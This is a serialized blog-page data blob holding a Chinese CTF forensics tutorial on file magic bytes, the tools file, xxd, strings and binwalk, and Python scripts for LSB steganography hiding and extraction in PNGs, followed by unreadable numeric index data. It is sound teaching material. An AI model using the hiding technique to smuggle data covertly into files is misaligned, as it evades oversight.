隐写",{"type":7,"value":4688,"toc":5621},[4689,4693,4703,4706,4766,4768,4801,4805,4809,4814,4819,4831,4833,4839,4846,4869,4873,4878,4901,4903,4909,4919,4923,4928,4939,4960,4963,4967,4970,4983,4985,4991,4994,5008,5015,5022,5033,5037,5041,5044,5050,5053,5057,5062,5255,5269,5273,5278,5283,5413,5415,5421,5425,5450,5456,5458,5529,5533,5538,5541,5552,5557,5560,5578,5581,5584,5594,5597,5600,5605,5607,5618],[10,4690,4692],{"id":4691},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,4694,4695,4696,4699,4700,127],{},"操作系统按扩展名选择打开程序（",[26,4697,4698],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[67,4701,4702],{},"先看文件头，再信扩展名",[15,4704,4705],{},"必须记住的三个文件头：",[1325,4707,4708,4721],{},[1328,4709,4710],{},[1331,4711,4712,4715,4718],{},[1334,4713,4714],{},"文件",[1334,4716,4717],{},"文件头（hex）",[1334,4719,4720],{},"明文",[1344,4722,4723,4738,4751],{},[1331,4724,4725,4728,4733],{},[1349,4726,4727],{},"PNG",[1349,4729,4730],{},[26,4731,4732],{},"89 50 4E 47 0D 0A 1A 0A",[1349,4734,4735],{},[26,4736,4737],{},"‰PNG",[1331,4739,4740,4743,4748],{},[1349,4741,4742],{},"JPEG",[1349,4744,4745],{},[26,4746,4747],{},"FF D8 FF",[1349,4749,4750],{},"—",[1331,4752,4753,4756,4761],{},[1349,4754,4755],{},"ZIP",[1349,4757,4758],{},[26,4759,4760],{},"50 4B 03 04",[1349,4762,4763],{},[26,4764,4765],{},"PK",[10,4767,1562],{"id":1561},[19,4769,4771],{"className":82,"code":4770,"language":84,"meta":24,"style":24},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[26,4772,4773,4792],{"__ignoreMap":24},[29,4774,4775,4777,4779,4781,4783,4786,4789],{"class":31,"line":32},[29,4776,1575],{"class":91},[29,4778,1578],{"class":95},[29,4780,1581],{"class":95},[29,4782,1584],{"class":95},[29,4784,4785],{"class":95}," binwalk",[29,4787,4788],{"class":95}," foremost",[29,4790,4791],{"class":95}," exiftool\n",[29,4793,4794,4796,4798],{"class":31,"line":38},[29,4795,2860],{"class":91},[29,4797,1578],{"class":95},[29,4799,4800],{"class":95}," pillow\n",[10,4802,4804],{"id":4803},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[76,4806,4808],{"id":4807},"_31-file看真实类型","3.1 file：看真实类型",[15,4810,4811,4813],{},[67,4812,251],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,4815,4816,4818],{},[67,4817,2096],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[19,4820,4822],{"className":82,"code":4821,"language":84,"meta":24,"style":24},"file hidden.png\n",[26,4823,4824],{"__ignoreMap":24},[29,4825,4826,4828],{"class":31,"line":32},[29,4827,1631],{"class":91},[29,4829,4830],{"class":95}," hidden.png\n",[15,4832,1314],{},[19,4834,4837],{"className":4835,"code":4836,"language":300,"meta":24},[298],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[26,4838,4836],{"__ignoreMap":24},[15,4840,4841,4842,4845],{},"如果输出是 ",[26,4843,4844],{},"Zip archive data","，说明文件其实是 zip：",[19,4847,4849],{"className":82,"code":4848,"language":84,"meta":24,"style":24},"mv flag.png flag.zip && unzip flag.zip\n",[26,4850,4851],{"__ignoreMap":24},[29,4852,4853,4856,4859,4862,4864,4866],{"class":31,"line":32},[29,4854,4855],{"class":91},"mv",[29,4857,4858],{"class":95}," flag.png",[29,4860,4861],{"class":95}," flag.zip",[29,4863,2227],{"class":1537},[29,4865,2206],{"class":91},[29,4867,4868],{"class":95}," flag.zip\n",[76,4870,4872],{"id":4871},"_32-xxd看文件头","3.2 xxd：看文件头",[15,4874,4875,4877],{},[67,4876,251],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[19,4879,4881],{"className":82,"code":4880,"language":84,"meta":24,"style":24},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[26,4882,4883,4896],{"__ignoreMap":24},[29,4884,4885,4888,4891,4894],{"class":31,"line":32},[29,4886,4887],{"class":91},"xxd",[29,4889,4890],{"class":116}," -l",[29,4892,4893],{"class":116}," 16",[29,4895,4830],{"class":95},[29,4897,4898],{"class":31,"line":38},[29,4899,4900],{"class":3002},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,4902,1314],{},[19,4904,4907],{"className":4905,"code":4906,"language":300,"meta":24},[298],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[26,4908,4906],{"__ignoreMap":24},[15,4910,4911,4912,4915,4916,127],{},"开头的 ",[26,4913,4914],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[26,4917,4918],{},".PNG",[76,4920,4922],{"id":4921},"_33-strings搜字符串","3.3 strings：搜字符串",[15,4924,4925,4927],{},[67,4926,251],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,4929,4930,178,4932,4934,4935,4938],{},[67,4931,261],{},[26,4933,1674],{}," 把可打印字符串抽出来，",[26,4936,4937],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[19,4940,4942],{"className":82,"code":4941,"language":84,"meta":24,"style":24},"strings flag.png | grep -i flag\n",[26,4943,4944],{"__ignoreMap":24},[29,4945,4946,4948,4950,4952,4954,4957],{"class":31,"line":32},[29,4947,1674],{"class":91},[29,4949,4858],{"class":95},[29,4951,1863],{"class":1530},[29,4953,1866],{"class":91},[29,4955,4956],{"class":116}," -i",[29,4958,4959],{"class":95}," flag\n",[15,4961,4962],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,4964,4966],{"id":4965},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,4968,4969],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[19,4971,4973],{"className":82,"code":4972,"language":84,"meta":24,"style":24},"binwalk flag.png\n",[26,4974,4975],{"__ignoreMap":24},[29,4976,4977,4980],{"class":31,"line":32},[29,4978,4979],{"class":91},"binwalk",[29,4981,4982],{"class":95}," flag.png\n",[15,4984,294],{},[19,4986,4989],{"className":4987,"code":4988,"language":300,"meta":24},[298],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[26,4990,4988],{"__ignoreMap":24},[15,4992,4993],{},"提取：",[19,4995,4997],{"className":82,"code":4996,"language":84,"meta":24,"style":24},"binwalk -e flag.png\n",[26,4998,4999],{"__ignoreMap":24},[29,5000,5001,5003,5006],{"class":31,"line":32},[29,5002,4979],{"class":91},[29,5004,5005],{"class":116}," -e",[29,5007,4982],{"class":95},[15,5009,5010,5011,5014],{},"会在当前目录生成 ",[26,5012,5013],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,5016,5017,5018,5021],{},"备选工具 ",[26,5019,5020],{},"foremost","（按文件头暴力切割）：",[19,5023,5025],{"className":82,"code":5024,"language":84,"meta":24,"style":24},"foremost flag.png\n",[26,5026,5027],{"__ignoreMap":24},[29,5028,5029,5031],{"class":31,"line":32},[29,5030,5020],{"class":91},[29,5032,4982],{"class":95},[10,5034,5036],{"id":5035},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[76,5038,5040],{"id":5039},"_51-原理","5.1 原理",[15,5042,5043],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[19,5045,5048],{"className":5046,"code":5047,"language":300,"meta":24},[298],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[26,5049,5047],{"__ignoreMap":24},[15,5051,5052],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[76,5054,5056],{"id":5055},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,5058,5059,5061],{},[67,5060,251],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[19,5063,5065],{"className":721,"code":5064,"language":723,"meta":24,"style":24},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[26,5066,5067,5072,5077,5081,5086,5091,5096,5101,5105,5110,5115,5120,5125,5130,5135,5140,5145,5149,5154,5159,5164,5169,5174,5179,5184,5188,5193,5198,5202,5207,5212,5217,5222,5226,5231,5237,5243,5249],{"__ignoreMap":24},[29,5068,5069],{"class":31,"line":32},[29,5070,5071],{},"from PIL import Image\n",[29,5073,5074],{"class":31,"line":38},[29,5075,5076],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[29,5078,5079],{"class":31,"line":111},[29,5080,741],{"emptyLinePlaceholder":740},[29,5082,5083],{"class":31,"line":157},[29,5084,5085],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[29,5087,5088],{"class":31,"line":163},[29,5089,5090],{},"# Image.new(mode, size, color)：新建一张图片。\n",[29,5092,5093],{"class":31,"line":169},[29,5094,5095],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[29,5097,5098],{"class":31,"line":215},[29,5099,5100],{},"message = \"flag{lsb_steganography}\"\n",[29,5102,5103],{"class":31,"line":221},[29,5104,741],{"emptyLinePlaceholder":740},[29,5106,5107],{"class":31,"line":227},[29,5108,5109],{},"data = message.encode() + b'\\x00'\n",[29,5111,5112],{"class":31,"line":773},[29,5113,5114],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[29,5116,5117],{"class":31,"line":779},[29,5118,5119],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[29,5121,5122],{"class":31,"line":785},[29,5123,5124],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[29,5126,5127],{"class":31,"line":791},[29,5128,5129],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[29,5131,5132],{"class":31,"line":797},[29,5133,5134],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[29,5136,5137],{"class":31,"line":803},[29,5138,5139],{},"pixels = list(img.getdata())\n",[29,5141,5142],{"class":31,"line":809},[29,5143,5144],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[29,5146,5147],{"class":31,"line":815},[29,5148,741],{"emptyLinePlaceholder":740},[29,5150,5151],{"class":31,"line":821},[29,5152,5153],{},"new_pixels = []\n",[29,5155,5156],{"class":31,"line":827},[29,5157,5158],{},"i = 0\n",[29,5160,5161],{"class":31,"line":833},[29,5162,5163],{},"for r, g, b in pixels:\n",[29,5165,5166],{"class":31,"line":839},[29,5167,5168],{},"    if i \u003C len(bits):\n",[29,5170,5171],{"class":31,"line":845},[29,5172,5173],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[29,5175,5176],{"class":31,"line":851},[29,5177,5178],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[29,5180,5181],{"class":31,"line":857},[29,5182,5183],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[29,5185,5186],{"class":31,"line":863},[29,5187,5168],{},[29,5189,5190],{"class":31,"line":869},[29,5191,5192],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[29,5194,5195],{"class":31,"line":875},[29,5196,5197],{},"        # 绿色通道同样处理。\n",[29,5199,5200],{"class":31,"line":1256},[29,5201,5168],{},[29,5203,5204],{"class":31,"line":1262},[29,5205,5206],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[29,5208,5209],{"class":31,"line":1268},[29,5210,5211],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[29,5213,5214],{"class":31,"line":1274},[29,5215,5216],{},"    new_pixels.append((r, g, b))\n",[29,5218,5219],{"class":31,"line":1280},[29,5220,5221],{},"    # 修改后的像素放入新列表。\n",[29,5223,5224],{"class":31,"line":1286},[29,5225,741],{"emptyLinePlaceholder":740},[29,5227,5228],{"class":31,"line":1292},[29,5229,5230],{},"img.putdata(new_pixels)\n",[29,5232,5234],{"class":31,"line":5233},35,[29,5235,5236],{},"# putdata()：把新像素列表写回图片对象。\n",[29,5238,5240],{"class":31,"line":5239},36,[29,5241,5242],{},"img.save('hidden.png')\n",[29,5244,5246],{"class":31,"line":5245},37,[29,5247,5248],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[29,5250,5252],{"class":31,"line":5251},38,[29,5253,5254],{},"print(\"已生成 hidden.png\")\n",[15,5256,5257,5260,5261,5264,5265,5268],{},[26,5258,5259],{},"r & 0xfe"," 把最低位清零（",[26,5262,5263],{},"0xfe = 11111110","），",[26,5266,5267],{},"| bit"," 写入目标比特。",[76,5270,5272],{"id":5271},"_53-提取解题视角","5.3 提取（解题视角）",[15,5274,5275,5277],{},[67,5276,251],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,5279,5280,5282],{},[67,5281,261],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[19,5284,5286],{"className":721,"code":5285,"language":723,"meta":24,"style":24},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[26,5287,5288,5292,5296,5301,5306,5311,5316,5321,5326,5331,5336,5340,5345,5350,5355,5360,5365,5370,5375,5380,5385,5390,5394,5399,5403,5408],{"__ignoreMap":24},[29,5289,5290],{"class":31,"line":32},[29,5291,5071],{},[29,5293,5294],{"class":31,"line":38},[29,5295,741],{"emptyLinePlaceholder":740},[29,5297,5298],{"class":31,"line":111},[29,5299,5300],{},"img = Image.open('hidden.png').convert('RGB')\n",[29,5302,5303],{"class":31,"line":157},[29,5304,5305],{},"# Image.open(path)：打开图片文件。\n",[29,5307,5308],{"class":31,"line":163},[29,5309,5310],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[29,5312,5313],{"class":31,"line":169},[29,5314,5315],{},"bits = []\n",[29,5317,5318],{"class":31,"line":215},[29,5319,5320],{},"for r, g, b in img.getdata():\n",[29,5322,5323],{"class":31,"line":221},[29,5324,5325],{},"    bits += [r & 1, g & 1, b & 1]\n",[29,5327,5328],{"class":31,"line":227},[29,5329,5330],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[29,5332,5333],{"class":31,"line":773},[29,5334,5335],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[29,5337,5338],{"class":31,"line":779},[29,5339,741],{"emptyLinePlaceholder":740},[29,5341,5342],{"class":31,"line":785},[29,5343,5344],{},"data = bytearray()\n",[29,5346,5347],{"class":31,"line":791},[29,5348,5349],{},"for i in range(0, len(bits) - 7, 8):\n",[29,5351,5352],{"class":31,"line":797},[29,5353,5354],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[29,5356,5357],{"class":31,"line":803},[29,5358,5359],{},"    byte = 0\n",[29,5361,5362],{"class":31,"line":809},[29,5363,5364],{},"    for bit in bits[i:i+8]:\n",[29,5366,5367],{"class":31,"line":815},[29,5368,5369],{},"        byte = (byte \u003C\u003C 1) | bit\n",[29,5371,5372],{"class":31,"line":821},[29,5373,5374],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[29,5376,5377],{"class":31,"line":827},[29,5378,5379],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[29,5381,5382],{"class":31,"line":833},[29,5383,5384],{},"    if byte == 0:\n",[29,5386,5387],{"class":31,"line":839},[29,5388,5389],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[29,5391,5392],{"class":31,"line":845},[29,5393,872],{},[29,5395,5396],{"class":31,"line":851},[29,5397,5398],{},"    data.append(byte)\n",[29,5400,5401],{"class":31,"line":857},[29,5402,741],{"emptyLinePlaceholder":740},[29,5404,5405],{"class":31,"line":863},[29,5406,5407],{},"print(data.decode())\n",[29,5409,5410],{"class":31,"line":869},[29,5411,5412],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,5414,1314],{},[19,5416,5419],{"className":5417,"code":5418,"language":300,"meta":24},[298],"flag{lsb_steganography}\n",[26,5420,5418],{"__ignoreMap":24},[76,5422,5424],{"id":5423},"_54-现成工具","5.4 现成工具",[19,5426,5428],{"className":82,"code":5427,"language":84,"meta":24,"style":24},"gem install zsteg\nzsteg -a hidden.png\n",[26,5429,5430,5440],{"__ignoreMap":24},[29,5431,5432,5435,5437],{"class":31,"line":32},[29,5433,5434],{"class":91},"gem",[29,5436,1578],{"class":95},[29,5438,5439],{"class":95}," zsteg\n",[29,5441,5442,5445,5448],{"class":31,"line":38},[29,5443,5444],{"class":91},"zsteg",[29,5446,5447],{"class":116}," -a",[29,5449,4830],{"class":95},[15,5451,5452,5455],{},[26,5453,5454],{},"-a"," 全自动检测各种 LSB 变体。",[10,5457,2483],{"id":2482},[1325,5459,5460,5471],{},[1328,5461,5462],{},[1331,5463,5464,5466,5468],{},[1334,5465,2492],{},[1334,5467,2495],{},[1334,5469,5470],{},"命令",[1344,5472,5473,5485,5498,5514],{},[1331,5474,5475,5477,5480],{},[1349,5476,1631],{},[1349,5478,5479],{},"看类型、看编码、看无后缀文件",[1349,5481,5482],{},[26,5483,5484],{},"file flag",[1331,5486,5487,5490,5493],{},[1349,5488,5489],{},"xxd / hexdump",[1349,5491,5492],{},"查看文件头、指定长度",[1349,5494,5495],{},[26,5496,5497],{},"xxd -l 16 flag.png",[1331,5499,5500,5502,5505],{},[1349,5501,1674],{},[1349,5503,5504],{},"提取字符串、指定长度、管道过滤",[1349,5506,5507,1728,5510,1728,5512],{},[26,5508,5509],{},"strings flag.png",[26,5511,2527],{},[26,5513,2530],{},[1331,5515,5516,5518,5521],{},[1349,5517,4979],{},[1349,5519,5520],{},"扫描、提取",[1349,5522,5523,1728,5526],{},[26,5524,5525],{},"binwalk flag.png",[26,5527,5528],{},"binwalk -e flag.png",[10,5530,5532],{"id":5531},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,5534,2581,5535,127],{},[26,5536,5537],{},"flag.png",[15,5539,5540],{},"第一步：",[19,5542,5544],{"className":82,"code":5543,"language":84,"meta":24,"style":24},"file flag.png\n",[26,5545,5546],{"__ignoreMap":24},[29,5547,5548,5550],{"class":31,"line":32},[29,5549,1631],{"class":91},[29,5551,4982],{"class":95},[15,5553,1762,5554,127],{},[26,5555,5556],{},"PNG image data",[15,5558,5559],{},"第二步：",[19,5561,5562],{"className":82,"code":4941,"language":84,"meta":24,"style":24},[26,5563,5564],{"__ignoreMap":24},[29,5565,5566,5568,5570,5572,5574,5576],{"class":31,"line":32},[29,5567,1674],{"class":91},[29,5569,4858],{"class":95},[29,5571,1863],{"class":1530},[29,5573,1866],{"class":91},[29,5575,4956],{"class":116},[29,5577,4959],{"class":95},[15,5579,5580],{},"无输出。",[15,5582,5583],{},"第三步：",[19,5585,5586],{"className":82,"code":4972,"language":84,"meta":24,"style":24},[26,5587,5588],{"__ignoreMap":24},[29,5589,5590,5592],{"class":31,"line":32},[29,5591,4979],{"class":91},[29,5593,4982],{"class":95},[15,5595,5596],{},"无隐藏文件。",[15,5598,5599],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[19,5601,5603],{"className":5602,"code":5418,"language":300,"meta":24},[298],[26,5604,5418],{"__ignoreMap":24},[10,5606,2778],{"id":2777},[15,5608,5609,5610,5612,5613,2570,5615,5617],{},"Misc 入门三板斧：",[26,5611,1631],{}," 看类型、",[26,5614,1674],{},[26,5616,4979],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1463,5619,5620],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":5622},[5623,5624,5625,5626,5627,5628,5629,5630],{"id":4691,"depth":111,"text":4692},{"id":1561,"depth":111,"text":1562},{"id":4803,"depth":111,"text":4804},{"id":4965,"depth":111,"text":4966},{"id":5035,"depth":111,"text":5036},{"id":2482,"depth":111,"text":2483},{"id":5531,"depth":111,"text":5532},{"id":2777,"depth":111,"text":2778},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":1480,"image":5633,"alt":5634,"tags":5635,"published":740},"/blogs-img/blog4.png","CTF Misc 入门",[550,5636],"misc","/blogs/ctf-misc-overview",{"title":4686,"description":5631},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":4,"title":5,"body":5642,"description":1477,"extension":1478,"meta":6726,"navigation":740,"ogImage":1481,"path":1487,"seo":6728,"stem":1489,"__hash__":1490},{"type":7,"value":5643,"toc":6715},[5644,5646,5648,5660,5666,5674,5678,5680,5682,5708,5712,5714,5716,5744,5748,5788,5792,5796,5798,5804,5808,5810,5814,5828,5830,5835,5837,5841,5855,5857,5862,5866,5868,5882,5886,5888,5902,5904,5912,5914,5918,5922,5926,5928,5934,5978,5980,5982,5988,6002,6006,6008,6022,6026,6028,6042,6046,6048,6062,6066,6076,6078,6092,6096,6100,6102,6106,6108,6110,6124,6128,6142,6146,6148,6154,6266,6268,6273,6275,6279,6293,6295,6297,6301,6303,6307,6325,6327,6332,6334,6352,6356,6358,6384,6390,6392,6428,6436,6440,6442,6446,6450,6590,6592,6602,6604,6609,6611,6707,6709,6713],[10,5645,13],{"id":12},[15,5647,17],{},[19,5649,5650],{"className":21,"code":22,"language":23,"meta":24,"style":24},[26,5651,5652,5656],{"__ignoreMap":24},[29,5653,5654],{"class":31,"line":32},[29,5655,35],{},[29,5657,5658],{"class":31,"line":38},[29,5659,41],{},[15,5661,5662,47,5664,51],{},[26,5663,46],{},[26,5665,50],{},[19,5667,5668],{"className":54,"code":55,"language":56,"meta":24,"style":24},[26,5669,5670],{"__ignoreMap":24},[29,5671,5672],{"class":31,"line":32},[29,5673,55],{},[15,5675,65,5676,70],{},[67,5677,69],{},[10,5679,74],{"id":73},[76,5681,79],{"id":78},[19,5683,5684],{"className":82,"code":83,"language":84,"meta":24,"style":24},[26,5685,5686,5694,5700],{"__ignoreMap":24},[29,5687,5688,5690,5692],{"class":31,"line":32},[29,5689,92],{"class":91},[29,5691,96],{"class":95},[29,5693,99],{"class":95},[29,5695,5696,5698],{"class":31,"line":38},[29,5697,105],{"class":104},[29,5699,108],{"class":95},[29,5701,5702,5704,5706],{"class":31,"line":111},[29,5703,23],{"class":91},[29,5705,117],{"class":116},[29,5707,120],{"class":95},[15,5709,123,5710,127],{},[26,5711,126],{},[76,5713,131],{"id":130},[15,5715,134],{},[19,5717,5718],{"className":54,"code":137,"language":56,"meta":24,"style":24},[26,5719,5720,5724,5728,5732,5736,5740],{"__ignoreMap":24},[29,5721,5722],{"class":31,"line":32},[29,5723,144],{},[29,5725,5726],{"class":31,"line":38},[29,5727,149],{},[29,5729,5730],{"class":31,"line":111},[29,5731,154],{},[29,5733,5734],{"class":31,"line":157},[29,5735,160],{},[29,5737,5738],{"class":31,"line":163},[29,5739,166],{},[29,5741,5742],{"class":31,"line":169},[29,5743,172],{},[15,5745,5746,178],{},[26,5747,177],{},[19,5749,5750],{"className":21,"code":181,"language":23,"meta":24,"style":24},[26,5751,5752,5756,5760,5764,5768,5772,5776,5780,5784],{"__ignoreMap":24},[29,5753,5754],{"class":31,"line":32},[29,5755,188],{},[29,5757,5758],{"class":31,"line":38},[29,5759,193],{},[29,5761,5762],{"class":31,"line":111},[29,5763,35],{},[29,5765,5766],{"class":31,"line":157},[29,5767,202],{},[29,5769,5770],{"class":31,"line":163},[29,5771,207],{},[29,5773,5774],{"class":31,"line":169},[29,5775,212],{},[29,5777,5778],{"class":31,"line":215},[29,5779,218],{},[29,5781,5782],{"class":31,"line":221},[29,5783,224],{},[29,5785,5786],{"class":31,"line":227},[29,5787,230],{},[15,5789,233,5790,127],{},[26,5791,236],{},[238,5793,5794],{},[15,5795,242],{},[10,5797,246],{"id":245},[15,5799,5800,252,5802,256],{},[67,5801,251],{},[26,5803,255],{},[15,5805,5806,262],{},[67,5807,261],{},[76,5809,266],{"id":265},[15,5811,5812,271],{},[67,5813,251],{},[19,5815,5816],{"className":82,"code":274,"language":84,"meta":24,"style":24},[26,5817,5818],{"__ignoreMap":24},[29,5819,5820,5822,5824,5826],{"class":31,"line":32},[29,5821,281],{"class":91},[29,5823,285],{"class":284},[29,5825,288],{"class":95},[29,5827,291],{"class":284},[15,5829,294],{},[19,5831,5833],{"className":5832,"code":299,"language":300,"meta":24},[298],[26,5834,299],{"__ignoreMap":24},[76,5836,306],{"id":305},[15,5838,5839,311],{},[67,5840,251],{},[19,5842,5843],{"className":82,"code":314,"language":84,"meta":24,"style":24},[26,5844,5845],{"__ignoreMap":24},[29,5846,5847,5849,5851,5853],{"class":31,"line":32},[29,5848,281],{"class":91},[29,5850,285],{"class":284},[29,5852,325],{"class":95},[29,5854,291],{"class":284},[15,5856,330],{},[19,5858,5860],{"className":5859,"code":334,"language":300,"meta":24},[298],[26,5861,334],{"__ignoreMap":24},[15,5863,339,5864,343],{},[26,5865,342],{},[76,5867,347],{"id":346},[19,5869,5870],{"className":82,"code":350,"language":84,"meta":24,"style":24},[26,5871,5872],{"__ignoreMap":24},[29,5873,5874,5876,5878,5880],{"class":31,"line":32},[29,5875,281],{"class":91},[29,5877,285],{"class":284},[29,5879,361],{"class":95},[29,5881,291],{"class":284},[15,5883,294,5884,369],{},[26,5885,368],{},[76,5887,373],{"id":372},[19,5889,5890],{"className":82,"code":376,"language":84,"meta":24,"style":24},[26,5891,5892],{"__ignoreMap":24},[29,5893,5894,5896,5898,5900],{"class":31,"line":32},[29,5895,281],{"class":91},[29,5897,285],{"class":284},[29,5899,387],{"class":95},[29,5901,291],{"class":284},[15,5903,392],{},[15,5905,5906,398,5908,402,5910,406],{},[67,5907,397],{},[26,5909,401],{},[26,5911,405],{},[10,5913,410],{"id":409},[15,5915,5916,415],{},[67,5917,251],{},[15,5919,5920,420],{},[67,5921,261],{},[15,5923,423,5924,427],{},[26,5925